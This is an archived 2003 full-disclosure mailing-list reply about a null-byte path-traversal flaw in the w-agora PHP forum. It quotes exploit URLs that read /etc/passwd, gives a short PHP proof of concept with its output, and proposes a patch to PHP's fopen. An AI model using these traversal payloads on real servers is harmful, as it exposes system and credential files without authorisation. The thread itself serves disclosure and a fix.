Re: Bug in w-agora

From: Ian Clelland (ianat_private)
Date: Fri Jan 17 2003 - 17:07:34 PST

  • Next message: sockz loves you: "[Full-Disclosure] Security Industry Under Scrutiny #4"

    On Thu, Jan 16, 2003 at 12:07:12AM +0100, Nicob wrote:
    > On Sun, 2003-01-12 at 16:03, sonyyat_private wrote:
    > > index.php :
    > >            $cfg_file = "${cfg_dir}/${bn}.${ext}";
    > >
    > > http://www.w-agora.net/current/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00
    > > http://www.w-agora.net/current/modules.php?mod=fm&file=../../../../../../../../../../etc/passwd%00&bn=fm_d1
    > 
    > AFAIK, the Null-byte attack doesn't work with PHP. It works with Perl
    > and some Java apps, yes, but not PHP ...
    
    PHP strings in general are stored with their lengths, and can contain
    arbitrary binary data (unlike, say, C). Within PHP, strings containing
    null bytes are safe to use.
    
    The problem here is that PHP will often pass PHP-function-parameters
    unchecked directly to the lower-level C library functions.
    
    PHP may handle a filename like '/etc/passwd\x00.ext' just fine, but if
    it passes the address of that string to fopen(), then the C function
    will treat the argument as a null-terminated string, and open
    /etc/passwd.
    
    
    As a quick proof-of-concept, try this code under your favourite PHP
    interpreter (I've tested it on a 4.0-series platform, and a quick
    perusal of the the relevant files in the 4.3.0 source doesn't show any
    protection against this):
    
    <?php
    
      header("Content-type: text/plain");
      $filename = '/etc/passwd'."\0".'.ext';
      $file = fopen($filename,'r');
      $line = fgets($file,1024);
      echo $filename."\r\n";
      echo $line;
      fclose($file);
    
    ?>
    
    
    Output:
    /etc/passwd .ext
    root:x:0:0:root:/root:/bin/bash
    
    
    
    You can see by the output of the echo statement that PHP deals with null
    bytes very well within strings, but that fopen stopped reading the
    filename at the null.
    
    This looks to be quite difficult to guard against -- the application
    level solution would have to involve scanning all strings for null bytes
    before passing them to any of a very large number of PHP functions. A
    better solution would be to have PHP itself do a libc string length
    check before passing arguments to lower-level functions.
    
    Adding just a few lines to ext/standard/file.c should prevent an attack
    like this on fopen:
    
    ***************
    *** 1086,1092 ****
    --- 1086,1095 ----
    	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss|br",
                                    &mode, &mode_len, &use_include_path,
    &zcontext) == FAILURE) {
                    RETURN_FALSE;
            }
    +       if (strlen(filename) != filename_len) {
    +               RETURN_FALSE;
    +       }
            if (zcontext) {
                    ZEND_FETCH_RESOURCE(context, php_stream_context*,
    &zcontext, -1, "stream-context", le_stream_context);
            }
    
    
    There is almost certainly a better place to check this; I'm not that
    familiar with the code. And, of course, there are probably at least a
    hundred other points in the code where a patch like this needs to be
    applied.
    
    
    Ian Clelland
    <ianat_private>
    



    This archive was generated by hypermail 2b30 : Tue Jan 21 2003 - 03:25:19 PST